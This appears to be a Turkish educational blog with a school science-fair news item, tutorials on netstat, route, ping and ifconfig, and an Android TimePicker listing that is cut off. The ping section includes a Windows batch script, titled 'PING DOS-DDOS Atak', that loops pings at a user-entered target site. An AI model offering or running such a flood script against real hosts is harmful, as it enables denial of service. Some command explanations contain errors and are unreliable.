5 Haziran 2017 Pazartesi

Bu çocuklar bir harika… Tempo Gazetesi Haberlerindeyiz. ( http://www.tempogazetesi.com/cocuklar-bir-harika/ )

4006 Tübitak Bilim Fuarı 01-02 Haziran 2017 tarihlerinde Karaelmas Mesleki ve Teknik Anadolu Lisesinde yapıldı.
Fuarda Akıllı Ev sistemleri, Enerji Verimliliği, Geri Dönüşüm üzerine teknolojik Projelerin yanında; Kan bağışının Önemi, İlimizin Unutulan Yemekleri ve F klavye kullanımının özendirilmesi gibi sosyal projelerde yoğun ilgi çekti.
Öğrencilerin yoğun çalışmaları ile Meslek Lisesi öğrencilerinin ortaya çıkardığı 20 proje fuar süresince okulun spor salonunda sergilendi.
Proje Kapsamında Bilişim Teknolojileri Alanında (Engin Emiroğlu, Nevin Arı, Deniz Yıldız, Muhammet Kaya), Büro Yönetimi Öğretmeni (Hamide Sedef), Ulaştırma Alanı Öğretmeni (Neslihan Baytürk), Fizik Öğretmeni Kenan Koç, Grafik Tasarım Öğretmeni Murat Kara ile birlikte 8 öğretmen rehberliğinde; 9-10-11-12. Sınıflardan 80’e yakın öğrenci projelerin ortaya çıkmasını sağlamışlardır.
Proje Örnekleri;
  • Hangi Isık Kaynakları DahaVerimlidir?
  • Hangi Enerjiyi Kullanmalıyız
  • Kara Tren ArastırmaDiger
  • TERARYUM (KapalıEkosistem Hazırlama)
  • Hayat Kurtarmak SizinKanınızda Var
  • Kitap okuma alışkanlığı vehızlı okuma tekniğinin bilgisayarda F klavye deetkisi
  • Bilgisayarda sesli metinlerinyazımın da öğrencilerinkulaklık kullanarakyazmasının 1 dakikalık süratlerindeki etkisi
  • Belge Kontrolünün KırtasiyeMasraflarına Etkisi
  • Cep Telefonlarındakullanılan Q klavyenin Fklavye eğitimine etkisi
  • Nasıl Hackleniyoruz?
  • Evinden Haberin Var mı?
  • Unutma Beni
  • Pet Şişeleri Atma, İçindekiSuyu Kullan
  • İs güvenliği Camdan SarkmaUyarı Sistemi
  • Gün Işığının Taklidi
  • Qulingtekniği ile 15Temmuz
  • 15 Temmuz DemokrasiZaferi Web Sayfası (http://demokrasizaferi.org)
  • Harekete Duyarlı KendindenŞarjlı Masa Lambası
  • Şarjım Hep Yanımda
  • Manyetik Fren

23 Mart 2017 Perşembe

netstat komutu kullanımı

netstat (network statistics) ağ bağlantıları (hem gelen hem giden), yönlendirme tabloları ve ağ arayüzü istatistiklerini görüntüleyen bir komut satırı aracıdır. netstat komutu UNIX, Linux ve Windows NT tabanlı işletim sistemlerinde kullanılabilir.
Parametreler ve anlamları
-a : Tüm TCP ve UDP bağlantıları ekrana basar.
-e : Gelen ve giden paket sayısının istatistiklerini görüntüler.
-n : Tüm bağlantıları rakamsal olarak görüntüler.
-o : Tüm bağlantıları PID numarası ve uygulama adına göre listeler.
-p : Bağlantıların kullandığı uygulama ve PID numaralarını ekrana basar.
-s : Kurallara göre istatistiksel verileri ekrana basar.
-r : IP yönlendirme tablosunun içeriğini görüntüler.

Netstat çıktısında yer alan bağlantı durumlarının anlamları

ESTABLISHED : Soket bağlantı gerçekleşmiş durumdadır.
SYN_SENT : Soket bağlantı kurmaya çalışıyordur.
SYN_RECV : Ağdan bir bağlantı isteği gelmiştir.
FIN_WAIT1 : Soket kapatılmış, bağlantı sonlandırılmak üzeredir.
FIN_WAIT2 : Bağlantı sonlandırılmıştır.Soket karşı ucun bağlantıyı sonlandırmasını beklemektedir.
TIME_WAIT : Soket kapandıktan sonra gelebilecek paketleri alabilmek için beklemektedir. CLOSED : Soket kullanılmamaktadır.
CLOSE_WAIT : Karşı uç bağlantıyı kapatmıştır.Soketin kapanması beklenmektedir.
LAST_ACK : Karşı uç bağlantıyı sonlandırmış ve soketi kapatmıştır.Onay beklenmektedir.
LISTEN : Soket gelebilecek bağlantılar için dinleme konumundadır.
CLOSING : Yerel ve uzak soketler kapatılmış fakat tüm verilerini göndermemiş durumdadır.Tüm veriler gönderilmeden soketler kapanmaz.
Örnekler;
Tüm TCP ve UDP Bağlantıları Listeler;
netstat -ntu
Tüm TCP ve UDP bağlantılar içerisinde SYN_SENT ve SYN_RECV bağlantı durumlarını ekrana basar. Grep sonrasında yer alan bölümü kendi isteğinize göre değiştirip diğer bağlantıları da ekranda görebilirsiniz.
netstat -ntu | grep SYN
netstat -ntu | grep ESTABLISHED
Aşağıdaki komut ffff tablosu ile ekrana basılan değerler dahil tüm ip listesini küçükten büyüğe göre sıralar.Yine komuta grep ekleyerek bağlantı duruma göre listeleme yapabilirsiniz.
netstat -ntu | awk ‘ {print $5} ‘ | awk ‘ {sub(“::ffff:”,””);print} ‘ | cut -f1 -d ‘:’ | sort | uniq -c | sort -n | grep -v -e server -e Address 127.0.0.1 -e 0.0.0.0
Yalnızca TCP veya UDP protokollerinin istatistikleri
netstat -sp tcp
netstat -sp udp
Aktif TCP bağlantılarını ve her 5 saniyede bir olan işlem kimliklerini göstermek için
netstat -o 5
Aktif TCP bağlantılarını ve işlem kimliklerini sayısal (numerical) formda göstermek için
netstat -no
pid kimlikli bir işlem tarafından açılan tüm portları
netstat -ao | grep "pid"
Linux sistemlerde netstat komutu ile açık portlar ve bu portları kullanan servisler bulunabilir. Bu duruma ilişkin örnek bir kullanım
netstat -nlptu
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
1. tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 4927/mysqld
2. tcp 0 0 0.0.0.0:1241 0.0.0.0:* LISTEN 17797/nessusd
3. udp 0 0 0.0.0.0:161 0.0.0.0:* 2196/snmpd
Netstat komutunun bu kullanımına ilişkin parametrelerin ne anlama geldikleri ise yine aşağıda gösterilmiştir.
-l, –listening = Sistem üzerinde dinlenen soket bilgileri gösterilir.
-p, –programs = Soket bilgileri için süreç numarası ve program ismi gösterilir.
-t,-u = -t ile tcp, -u ile de udp protokolüne ait port bilgileri gösterilir.
-n, –numeric = Gösterilecek ip adres bilgileri için isim çözünürlüğü gerçekleştirilmez.
Komutun örnek kullanımında gösterilen ekran çıktısında yer alan satır numaraları, komutun yorumlanması için kullanılmış olup gerçek kullanımında böyle bir durum söz konusu olmayacaktır. Aşağıda komut çıktısına dair ilgili açıklamalar bulunmaktadır. Her satır numarası komut çıktısında gösterilen numaraya göre yorumlanmalıdır.
1. Mysqld servisi 4927 süreç numarası, 127.0.0.1 ip adresi üzerinden, 3306 port numarası ve tcp protokolü ile hizmet vermektedir.
2. Nessusd servisi 17797 süreç numarası, sistem üzerinde bulunan bütün ip adresleri üzerinden, 3306 port numarası ve tcp protokolü ile hizmet vermektedir.
3. Snmpd servisi 2196 süreç numarası, sistem üzerinde bulunan bütün ip adresleri üzerinden, 161 port numarası ve udp protokolü ile hizmet vermektedir.
İlgili servisin çalışma paremetresine dair ayrıntılı bilgi edinmek için ps komutu kullanılabilir. Bunun için “ps -p servis_süreç_numarası -f” şeklinde kullanılmalıdır.
ps -p 4927 -f
UID PID PPID C STIME TTY TIME CMD
mysql 4927 1 0 2009 ? 11:19:00 /usr/libexec/mysqld –basedir=/usr –datadir=/var/lib/mysql –user=mysql –pid-file=/var/run/mysqld/mysqld.pid
ÖZET;
Tüm NetStat Komutları
netstat -n: Adresleri ve Bağlantı Noktalarının Numaralarını Sayısal Biçimde Gösterir
netstat -an: Dosya Alırken Karşıdakinin IP adresini Gösterir.(Bu Da Çok İyi Bir Yöntemdir Ama Amacımız IP Bulmak Değil Bu Konuda Tabi)
netstat -a: Tüm Bağlantıları ve Dinleme Bağlantı Noktalarını Gösterir.
netstat -b: Her Bağlantı veya Dinleme Bağlantı Noktası İle İlişkili Çalıştırılabilir Dosyayı Gösterir.
netstat -e: Ethernet İstatistiklerini Gösterir.
netstat -o: Her Bağlantıyla İlişkili Sahip İşlem Kimliğini Gösterir.
netstat -p: İletişim Kuralının Bağlantılarını Gösterir.
netstat -r: Yönlendirme Tablosunu Gösterir.
netstat -s: her İletişim Kuralları İçin İstatistikleri Gösterir.
netstat -v: En Önemli Netstat Komutu Olan -v, -b İle Birlikte Kullanılırsa Tüm Çalışan Dosyalar İçin Bağlantı ve Bağlantı Noktası Oluşumu İle İlgili Bileşenlerin Sırasını Gösterir.

netstat -a | more ==>tüm portların (Tcp/Udp) olmak üzere dinlenebilmesi;
netstat -at ==>  TCP(Transmission Conrol Protocol) bağlantılarının dinelenebilmesi
netstat -au ==> UDP( User Datagram Protocol) portlarının dinlenebilmesi için
netstat -l | moreBütün aktif portların dinlenebilmesi için
netstat -lu | more ==> Bütün aktif (alive) yani bağlantı sağlayan Udp  portlarının dinlenebilmesi için
netstat -lx ==>Aktif Unix portlarının dinlenebilmesi için
netstat -s ==>Tcp, Udp, Icmp, Ip protocol'lerinin tüm istatistikleri hakkında bilgi almak istiyorsak
netstat -tp ==> Process İd numarası ile birlikte götürülen hizmetleri görüntüleyebilmek için




Linux route komutu kullanımı

route — IP yönlendirme tablosunu yönetir/içeriğini gösterir. Bir arayüz üzerinden, belirtilmiş konaklara veya ağlara sabit yönlendirme yapmaktır. add veya del seçeneği kullanıldığı durumlarda, route uygulaması yönlendirme tablosunu tekrar düzenler. Şayet bu seçenekler kullanılmamışsa, o an geçerli olan yönlendirme tablosunu görüntülenir.
Paremetreleri:
-A aile
Tanımlanan adres ailesi kullanılir. (Örneğin: `inet') Tam listeyi elde etmek için route -–help komutunu kullanın.
-F
Çekirdeğin FIB (Forwarding Information Base) yönlendirme tablosu üzerinden işlem yapar. Öntanımlıdır.
-C
Çekirdeğin yönlendirme arabelleği üzerinden işlem yapar.
-v
Daha ayrıntılı bilgi verilir.
-n
Sembolik konak isimlerini saptamaya çalışmadan adreslerin sayısal değerlerini gösterir. DNS bağlantı yolunuzun ortadan kaybolduğu durumlarda oldukça kullanışlı bir seçenektir.
-n
Sembolik konak isimlerini saptamaya çalışmadan adreslerin sayısal değerlerini gösterir. DNS bağlantı yolunuzun ortadan kaybolduğu durumlarda oldukça kullanışlı bir seçenektir.
-e
Yönlendirme tablosunu görüntülemek için için netstat(8) biçimini kullanır.
-ee
Yönlendirme tablosundaki bütün parametreler ile oldukça uzun bir satır görüntülenmesine sebep olur.
del
Belirtilen yolu siler.
add
Belirtilen yolu ekler.
target
hedef ağ veya konak. Noktalar ile ayrılmış sayısal değerleri kullanabileceğiniz gibi ağ/konak ismini de yazabilirsiniz.
-net
Hedefin bir ağ olduğunu gösterir.
-host
Hedefin bir konak olduğunu gösterir.
netmask ağmaskesi
Yeni bir ağ yolu eklenirken kullanılacak ağ maskesini gösterir.
gw ağgeçidi
Paketler bu ağgeçidi üzerinden yollanır.
Not:Belirtilen ağgeçidi ilk ulaşılan olmalıdır. Bunun anlamı, öncelikle ağ geçidine sabit bir yol tanımlamış olmanız gerektiğidir. Şayet yerel arabirimlerden birinin adresini tanımlarsanız, paketlerin hangi arabirim üzerinden gönderileceğini belirtmiş olursunuz.
metric N
Yönlendirme tablosundaki metric alanını (yönlendirme süreçleri tarafından kullanılan), belirtilen N değerine ayarlar.
window P
Bu yol üzerinden yapılan işlemlerde TCP pencere boyutunu P değerine göre ayarlar. Bu genelde AX.25 ağlarda ve peşpeşe gelen pencereler ile uyumsuz sürücülerin olması durumunda kullanılır.
irtt I
Bu yol üzerinden yapılan bağlantılarda ilk tam dönüş süresi (irtt- initial round trip time) I milisaniye olarak ayarlanır. Bu değer 1-12000 arası olabilir. Bu seçenek genellikle AX.25 ağlarda kullanılır. Şayet belirtilmezse, RFC 1122 öntanımlısı olan 300 ms’lik süre kullanılır.
reject
Bir yol aramasının başarısız olmasını sağlamak için engelleyici bir yol oluşturur. Bu seçenek, öntanımlı yolun kullanılmasından önce, ağların gizlenmesini sağlamak amacı ile kullanılabilir. BU, GÜVENLİK DUVARI OLUŞTURMA ANLAMINDA ELE ALINMMALIDIR.
moddynreinstate
Düzeltilmiş veya dinamik bir yönlendirme yapar. Bu seçenekler teşhis amaçlıdır ve genelde sadece yönlendirme süreçleri tarafından kullanılırlar.
dev If
Yolun belirtilen aygıtla ilişkilendirilmesini güçlendirmek amacı ile kullanılır. Böylece çekirdeğin kendi içindeki aygıtı tespit etme denemesi yapmasına gerek kalmaz. Normal ağlar için bu seçeneğe ihtiyaç yoktur.
Şayet dev If komut satırındaki son seçenek ise, dev kelimesi belitilmeyebilir (zaten öntanımlıdır). Aksi takdirde yol düzenleyici seçeneklerinin sırası zaten önemli değildir (metric - netmask - gw – dev).
Özet:
1- # route -n : route tablosunu görüntüler
2- # route -Cen : routing cache'ni ve route tablosunu görüntüler.
3- # route add -net x.x.x.x netmask x.x.x.x gw x.x.x.x : statik route eklemek için
4- # route add -host x.x.x.x gw x.x.x.x : bir host içini statik route eklemek için.
5- # route add -host x.x.x.x dev eth1 :Statik route'u interface bazlı vermek için.
6- # route add default gw x.x.x.x :Default gateway eklemek için.
7- # route del -host/net : girilen route'ları silmek için
8- # ip route add default gw x.x.x.x : ip route komutu ile gateway girme.
9- # ip route del : Girilen route'u silme.
10-# ip route show: Route tablosunu görüntüleme
11-# ip route flush cache: route cache tablosunu temizleme.
Örnekler:
Kalıcı olmayan default route ekleme ve silme
# route add default gw 192.168.17.1
# route del default gw 192.168.17.1
Kalıcı default route
/etc/sysconfig/network dosyasına default route 'u eklememiz gerekmektedir.
GATEWAY=192.168.17.1
 
Kalıcı işlemlerde eklediğimiz route'un aktif olabilmesi için network servisini yeniden başlatmamız gerekmektedir.
# service network restart
Kalıcı route ekleme ve silme 
/etc/sysconfig/network-scripts/route-ethx dosyasına route'u eklememiz gerek. Burada ethx 'x' interface'ini temsil etmektedir.
# echo '172.16.106.0/24 via 192.168.7.1' >> /etc/sysconfig/network-scripts/route-eth0
'>' yerine '>>'  ı kullanarak eth0 interface'i için daha önceden yazılmış olan routelarımızın silinmesinin önüne geçmiş oluyoruz.
Daha sonra servis restart yapmamız gerekmektedir.
# service network restart
Kalıcı olmayan route ekleme ve silme
# ip route add 172.16.106.0/24 via 192.168.7.1 eth0
Bu şekilde network servis restartına gerek kalmadan route tablomuza ekleme yapmış oluruz. Ayrıca kalıcı olmasını da istiyorsak üstteki şekilde yazabiliriz.
# route -n ile eklediğimiz route'ları görebiliriz.
Örnek:
# ip route add 10.0.0.0/24 via 192.168.1.10
Bu örneğe göre sisteme 10.0.0.0/24 networküne giden paketleri 192.168.1.10 ip’li gateway üzerinden göndermesi söyleniyor.
Routingi, bir network interface’i belirterek girmek için ise komut şu şekildedir:
# ip route add 10.0.0.0/24 dev eth0
Bu örneğe göreyse 10.0.0.0/24 networküne gidecek paketler, eth0 isimli network interface’i üzerinden gönderilecektir.
 
Ağ bağdaştırıclarından eth0 kartı için Default Gateway(Varsayılan Ağgeçidi) atamak için: route add default gw 192.168.1.1
 
ROUTING TABLOSUNUN GÖRÜNTÜLENMESİ
netstat -nr
GEÇERLİ GATEWAY ADRESİNİN DEĞİŞTİRİLMESİ
route add default gw 192.168.0.1 eth0
Bu işlemin kalıcı olması ve her açılışta default gateway adresini girmemek için /etc/sysconfig/network dosyası altına gateway parametresini eklemeniz yeterli olacaktır.
NETWORKING=yes
HOSTNAME=dene-01
GATEWAY= 192.168.0.1
İKİ DEĞİŞİK GATEWAY ADRESİNİN TANIMLANMASI:
Internet çıkış router IP adres(Gateway) : 192.168.0.1
Şirket içi çıkış router IP adres(Gateway) : 192.168.0.2
iki değişik yoldan bu iki gateway adresini tanımlayabiliriz. İlk olarak geçici tanımlamaya bakalım.
route add -net 10.0.0.0 netmask 255.0.0.0 gw 192.168.0.2 eth0
-net anahtarı bizim network’e yönlendirme yaptığımızı belirtiyor. Eğer belirli bir sunucuya yönlendirme yapmak istiyorsak;
route add -host 10.0.0.1 gw 192.168.0.2 eth0
Komutunu girmemiz yeterli olacaktır. Buradaki –host anahtarı belirli bir makine IP sini belirtir.
Bu girişleri daimi yapmak için yukarıdaki komutları /etc/rc.d/rc.local adresine girmeniz yeterli olacaktır.
ROUTE TABLOLARININ SİLİNMESİ
Route tablolarını silmek için route del komutunu –net anahtarı ile kullanmanız gerekecektir. Ayrıca eğer bu route için /etc/sysconfig/network-scripts altında bir dosya yaratmışsanız o dosyayı da sistemden silmek zorundasınız.
route del -net 10.0.0.0 netmask 255.0.0.0 gw 192.168.0.2 eth0
Herhangi bir sunucu route’ı silmek için
route del -host 10.0.0.1 gw 192.168.0.2 eth0
örnek:
Sunucumuzda makine ismi (hostname) değiştirmek;
# hostname
dene-lnx.localdomain

-- Sunucumuzda yeni makine ismini atıyoruz.

# hostname dene-cnt.dene.net 
-- Yaptığımız değişikliğin kalıcı olabilmesi için gerekli düzenlemeleri yapıyoruz.
# vim /etc/sysconfig/network 
NETWORKING=yes 
HOSTNAME=dene-cnt.dene.net 
GATEWAY=192.168.2.254 
# vim /etc/hosts 
127.0.0.1 localhost.dene.net localhost 
192.168.2.121 dene-cnt.dene.net dene-cnt 
-- Yaptığımız değişikliklerin geçerli olabilmesi için sunucumuzu yeniden başlatıyoruz. 
# shutdown -r now
Sunucumuzda IP Adresimizi, Ağ Geçidimizi, DNS Adreslerimizi vb. değiştirmek;
# ifconfig
# vim /etc/sysconfig/network-scripts/ifcfg-eth1

HWADDR=00:0C:29:11:1B:75
NAME=eth1
TYPE=Ethernet
BOOTPROTO=none
IPADDR=192.168.2.121
PREFIX=24
GATEWAY=192.168.2.254
DNS1=192.168.2.1
DOMAIN=koraykey.net
DEFROUTE=yes
IPV4_FAILURE_FATAL=yes
IPV6INIT=no
UUID=d4b46489-fb88-41e5-a732-3c20f94dbd74
ONBOOT=yes
LAST_CONNECT=1374405462

-- Sunucumuzda düzenleyebileceğimiz ağ kartlarımızın yapılandırması bu dizinde
tutulmaktadır. Burada kartlarımızı sorgulayıp istediğimiz "interface" üzerinde
değişiklik yapabiliriz.

# ls -l /etc/sysconfig/network-scripts/

-rw-r--r--  1 root root   276 Jul 21 14:19 ifcfg-eth1
-rw-r--r--. 1 root root   254 Jan  9  2013 ifcfg-lo
.
.
.

-- Sunucumuzda varsayılan ağ geçidini değiştirmek için aşağıdak işlemleri
uyguluyoruz.

# vim /etc/sysconfig/network

GATEWAY=192.168.2.1

-- DNS sunucu adreslerimizi düzenlemek için aşağıdaki işlemleri uyguluyoruz.

# vim /etc/resolv.conf

search dene.net
nameserver 192.168.2.1
nameserver 8.8.8.8
nameserver 8.8.4.4

-- Yapmış olduğumuz ayarların hemen geçerli olabilmesi için ağ servisimizi
yeniden başlatıyoruz.

# service network restart

Shutting down interface eth1:   [  OK  ]
Shutting down loopback interface:  [  OK  ]
Bringing up loopback interface:  [  OK  ]
Bringing up interface eth1:  [  OK  ]

-- Ayarlarımızın geçerli olması için istersek sistemimizi yeniden başlatabiliriz.

# shutdown -r now
Sunucumuzda bir ağ kartına birden fazla IP Adresi atamak istiyorsak
 
-- Sunucumuzda ikinci IP Adresi atayacağımız kartımıza sanal "interface" ekliyoruz.

# ifconfig eth1:0 192.168.2.130 netmask 255.255.255.0 up

-- Atamış olduğumuz ikinci IP Adresini kontrol ediyoruz.

# ping -c 3 192.168.2.130

PING 192.168.2.130 (192.168.2.130) 56(84) bytes of data.
64 bytes from 192.168.2.130: icmp_seq=1 ttl=64 time=0.074 ms
64 bytes from 192.168.2.130: icmp_seq=2 ttl=64 time=0.027 ms
64 bytes from 192.168.2.130: icmp_seq=3 ttl=64 time=0.032 ms

--- 192.168.2.130 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2028ms
rtt min/avg/max/mdev = 0.027/0.044/0.074/0.021 ms

-- Yapmış olduğumuz ayarların kalıcı olabilmesi için yapılandırma dosyamızı
oluşturuyoruz.

# cp /etc/sysconfig/network-scripts/ifcfg-eth1 /etc/sysconfig/network-scripts/ifcfg-eth1:0

# vim /etc/sysconfig/network-scripts/ifcfg-eth1:0

HWADDR=00:0C:29:11:1B:75
NAME=eth1:0
TYPE=Ethernet
BOOTPROTO=none
IPADDR=192.168.2.130
PREFIX=24
ONBOOT=yes

-- Oluşturduğumuz sanal "interface" kapatıp açıyoruz.

# ifdown ifcfg-eth1:0
# ifup ifcfg-eth1:0

-- Yapmış olduğumuz ayarların hemen geçerli olabilmesi için ağ servisimizi
yeniden başlatıyoruz.

# service network restart

-- Ayarlarımızın geçerli olması için istersek sistemimizi yeniden başlatabiliriz.

# shutdown -r now
Sunucumuzda “route table” yönlendirme tablosunu ile ilgili işlemleri
-- Sunucumuzda "route table" yönlendirme tablosunu görüntülemek için aşağıdaki
komutu çalıştırmalıyız.

# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         192.168.2.1     0.0.0.0         UG    0      0        0 eth1
link-local      *               255.255.0.0     U     1002   0        0 eth1
192.168.2.0     *               255.255.255.0   U     0      0        0 eth1

-- Sunucumuzda varsayılan ağ geçidi atamak için aşağıdaki komutu çalıştırmalıyız.

# route add default gw 192.168.2.1 eth1

-- Bu işlemin kalıcı olması ve her açılışta default gateway adresini girmemek için
aşağıdaki işlemleri yapmamız yeterli olacaktır.

# vim /etc/sysconfig/network

GATEWAY=192.168.2.1

-- Sunucumuzda statik yönlendirme (static route) işlemi için aşağıdaki komutları
çalıştırmalıyız.

# route add -net 192.168.0.0 netmask 255.0.0.0 gw 192.168.2.1 dev eth1

-- Sunucumuzda statik yönlendirme (static route) işlemini kaldırmak için aşağıdaki
komutları çalıştırmalıyız.

# route del -net 192.168.2.121 netmask 255.255.255.0 gw 192.168.2.1 dev eth1

-- Sunucumuzda iki değişik statik yönlendirme (static route) işlemi için aşağıdaki
komutları çalıştırmalıyız.

Örnek;

Internet çıkış router IP adres (Gateway)  : 192.168.2.1

Şirket içi çıkış router IP adres (Gateway)  : 192.168.2.254

# route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.2.1 dev eth1

# route add -net 192.168.0.0 netmask 255.0.0.0 gw 192.168.2.254 dev eth1
 
Kaynak: http://www.koraykey.com, http://www.cozumpark.com/forums/thread/119472.aspx, http://www.hakanuzuner.com/index.php/linux-zerinde-network-islemleri.html,  http://www.belgeler.org/man/man8/man8-route.html, http://huseyin-aytekin.blogspot.com.tr/2014/11/linux-route-islemleri.html,  https://www.syslogs.org/question/linux-sistemlerde-static-route-eklemek/
 
 

Ping Komutu ve Kullanımı

“ping “ Bu komut ağ üzerinde bulunan iki bilgisayar arasındaki olası bir ağ bağlantı kaybı testi için kullanılan bir komuttur.
“Internet Denetim İletisi” “İletişim Kuralı” (ICMP) “Yankıİsteği” iletileri göndererek, başka bir TCP/IP bilgisayara IP düzeyinde bağlanılırlığı doğrular. Karşılık olarak gelen“Yankı İsteği” iletileri, iletim süreleriyle birlikte görüntülenir. bağlantı, erişim ve ad çözümleme sorunlarının giderilmesinde kullanılan birincil TCP/IP komutu ping’dir Ping, parametresiz kullanıldığında yardımı görüntüler.
Ping komut seçenekleri 
  • c sayı: Sayı ile belirtilen kadar ping paketi gönderdikten sonra programdan çıkılmasını sağlar. Bu seçenek kullanılmadığı takdirde ping programı kullanıcıdan kapatma isteği gelene kadar çalışacaktır. En basit kapatma isteği CTRL-C tuşları ile verilir.
ping -c 5 192.168.2.1
  • -f: Çok hızlı olarak ping paketi üretilmesini sağlar. Sadece root kullanıcısı tarafından
    kullanılabilir.  Ağ   üzerinde  yavaşlatıcı  etken  yapabileceğinden  dikkatli   kullanılması gerekmektedir.
  • -i süre: Her bir ping paketinin gönderilmesi arasında geçmesi gereken surenin
    ayarlanması için kullanılır. Belirtilen süre saniye cinsindendir. Bu seçenek kullanılmadığı takdirde her bir saniyede bir ping paketi gönderilir. -f seçeneği ile uyumsuzdur.
  • -n: Bu seçenek kullanıldığı takdirde ping isteği gönderilen makineden gelen cevapların kullanıcıya gösterilmesi sırasında makinenin ismi yerine IP adresi kullanılır.
  • -s paket büyüklüğü: Gönderilecek ping paketinin büyüklüğünün ayarlanması için
    kullanılır. Varsayılan paket büyüklüğü 56 byte’tir. 8 bytelık ICMP başlık bilgisi ile paket boyu 64 byte’a çıkar.
Ping komutunu, hem bilgisayar adını hem de bilgisayarın IP adresini sınamak için kullanabilirsiniz. IP adresi için yapılan ping başarılı; ancak bilgisayar adı için yapılan ping başarısız olmuşsa, bir ad çözümleme sorunu ortaya çıkabilir. Böyle bir durumda, belirteceğiniz bilgisayar adının, Etki Alanı Ad Sistemi (DNS) sorguları veya NetBIOS ad çözümleme teknikleri kullanılarak yerel Ana Makineler dosyasıyla çözülebilir olduğundan emin olunuz.

Linux sunucuda Ping devre dışı bırakma

Güvenlik için bazen ihtiyaç duyulan ping servisini devre dışı bırakmak için ;
echo 0 >/proc/sys/net/ipv4/icmp_echo_ignore_all
Tekrar açmak için ;
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all
Basit Ping Atak (BAT Dosyası)
Çok basit bir Ping atak komutunu BAT dosyası ile birleştirerek DOS ve DDOS saldırı mantığını anlayabilirsiniz. Aşağıdaki komutları Ping.bat veya DDOS.bat olarak kaydedin.
@echo off
mode 65,30
title PING DOS-DDOS Atak
color 02
cls
echo.
echo -------------------
echo PING DOS-DDOS Atak
echo -------------------
echo.
set /p hedef=Hedef Site:
echo.
echo -------------------
ping %hedef%
echo -------------------
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
goto Next
:Next
echo.
echo.
echo.
set /p m=Hedef IP Adresi:
echo.
set /p n=Paket Boyutu:
echo.
:DDOS
color 0c
echo SALDIRI YAPILIYOR %m%
ping %m% -i %n% -t >nul
goto DDOS
Oluşturduğunuz bat dosyasını açın. Herhangi bir site adresi yazın. Standart ping komutundan sonra hedef IP kısmına sitenin IP adresini yazın. Paket boyutu kısmına herhangi bir sayı yazın 10000 veya 1000000 sonra paketler gönderilecektir.
Bu yaptığımız ping atak yani ICMP paketi gönderme işlemine basit DOS(Denial of Service Attack) atak deniyor. Bu işlemi eş zamanlı olarak aynı hedefe birden fazla kişi yaparsa atağın ismi DDOS oluyor.

 

 

ifconfig Kullanımı (Linux)

ifconfig linux işletim sistemi üzerinde ağ bağlantı ayarlarını yapmak için kullanabileceğimiz bir konsol komutudur.
Kullanımları:
Tüm ağ bağlantı kartları hakkında genel bilgi verir.
ifconfig
Ethernet kartınızın isminin eth0 olduğunu varsayarsak,
ifconfig eth0
komutu ile eth0 kartına ait bilgileri görüntüleyebilirsiniz.
ifconfig eth0 up
komutu ile ethernet kartınızı aktif(aç) edebilirsiniz.
ifconfig eth0 down
komutu ile ethernet kartınızı deaktif(kapa) edebilirsiniz.
ifconfig eth0 192.168.1.2
komutu ile ethernet kartınıza ip tanımlayabilirsiniz.
ifconfig eth0 netmask 255.255.255.0
komutu ile ethernet kartınıza subnet(alt ağ maskesi) tanımlayabilirsiniz.
ifconfig eth0 broadcast 192.168.1.255
komutu ile ethernet kartınıza broadcast(yayın Adresi) tanımlayabilirsiniz.
ifconfig eth0 192.168.1.2 netmask 255.255.255.0 broadcast 192.168.1.255

11 Ocak 2017 Çarşamba

Android Programlama:TimePicker kullanarak zaman değerini ayarlama

2017-01-11_14-25-20.png
activity_main.xml;
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="fill_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >

    <LinearLayout
        android:id="@+id/LinearLayout01"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:orientation="horizontal" >

        <Button
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="Ayarla"
            android:id="@+id/btnTime"
            android:paddingLeft="15dp"
            android:paddingRight="15dp"
            />

        <Button
            android:layout_width="fill_parent"
            android:layout_height="wrap_content"
            android:id="@+id/txtTime"
            android:layout_marginLeft="20dp"
            />
        <Button
            android:layout_width="fill_parent"
            android:layout_height="wrap_content"
            android:id="@+id/txtTime2"
            android:layout_marginLeft="20dp"
            />
        <TimePicker
            android:id="@+id/timePicker"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:timePickerMode="spinner"
            android:visibility="gone" />

    </LinearLayout>

</RelativeLayout>
MainActivity.java;
package com.example.okul.saatayar;

import android.app.Dialog;
import android.app.TimePickerDialog;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.TimePicker;

import java.util.Calendar;


public class MainActivity extends ActionBarActivity {

    private Button saatsec2txt = null;
    private TimePicker timePicker;
    private int hour;
    private int minute;

    static final int TIME_DIALOG_ID = 999;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        saatsec2txt = (Button) findViewById(R.id.txtTime);
        timePicker = (TimePicker) findViewById(R.id.timePicker);

        final Calendar c = Calendar.getInstance();
        hour = c.get(Calendar.HOUR_OF_DAY);
        minute = c.get(Calendar.MINUTE);
        saatsec2txt.setText(new StringBuilder().append(padding_str(hour)).append(":").append(padding_str(minute)));

        timePicker.setCurrentHour(hour);
        timePicker.setCurrentMinute(minute);
        saatsec2txt.setOnClickListener(clickListener);
    }

    private View.OnClickListener clickListener = new View.OnClickListener()
    {
        public void onClick(View v)
        {
            switch (v.getId())
            {
                case R.id.txtTime:
                    showDialog(TIME_DIALOG_ID);
                    break;
            }
        }
    };

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.menu_main, menu);
        return true;
    }

    @Override
    public boolean onOptionsItemSelected(MenuItem item) {
